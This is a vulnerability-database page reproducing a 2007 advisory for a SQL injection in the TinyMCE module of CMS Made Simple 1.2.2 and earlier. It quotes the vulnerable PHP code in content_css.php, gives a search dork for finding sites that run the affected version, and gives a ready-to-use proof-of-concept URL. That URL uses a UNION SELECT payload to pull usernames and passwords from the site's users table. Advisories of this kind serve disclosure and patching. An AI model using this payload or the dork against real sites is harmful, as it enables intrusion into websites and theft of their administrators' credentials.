Lucene search
K

CMS Made Simple <= 1.2.2 (TinyMCE module) SQL Injection Vuln

🗓️ 30 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

CMS Made Simple TinyMCE module <= 1.2.2 SQL Injection Vulnerabilit

Code

                                                -------------------------------------------------------------------------
CMS Made Simple &lt;= 1.2.2 (TinyMCE module) - Remote SQL Injection Advisory
-------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: &quot;This site is powered by CMS Made Simple version 1.2.2&quot;

[-] Vulnerable code in /modules/TinyMCE/content_css.php :

 26.	$templateid = '';
 27.	if (isset($_GET[&quot;templateid&quot;])) $templateid = $_GET[&quot;templateid&quot;]; &lt;==
 28.
 29.	$mediatype = '';
 30.	if (isset($_GET[&quot;mediatype&quot;])) $mediatype = $_GET[&quot;mediatype&quot;];
 31.
 32.	$name = '';
 33.	if (isset($_GET['name'])) $name = $_GET['name'];

 64.		if ($name != '')
 65.			$sql=&quot;SELECT css_text, css_name FROM &quot;.$config['db_prefix'].&quot;css WHERE css_name = '&quot; . mysql_real_escape_string($name, $db) . &quot;'&quot;;
 66.		else
 67.			$sql=&quot;SELECT c.css_text, c.css_id, c.css_name FROM &quot;.$config['db_prefix'].&quot;css c,&quot;.$config['db_prefix'].&quot;css_assoc ac WHERE ac.assoc_type='template' AND ac.assoc_to_id = $templateid  (...) &lt;==
 68.		$result=mysql_query($sql);
 69.	//		echo $sql;
 70.		while ($result &amp;&amp; $row = mysql_fetch_assoc($result))
 71.		{
 72.			$css .= &quot;/* Start of CMSMS style sheet '{$row['css_name']}' */\n{$row['css_text']}\n/* End of '{$row['css_name']}' */\n&quot;;
 73.		}
 
 $_GET[&quot;templateid&quot;] isn't properly checked at line 27, this results in a sql injection at line 67
 
[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/*
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation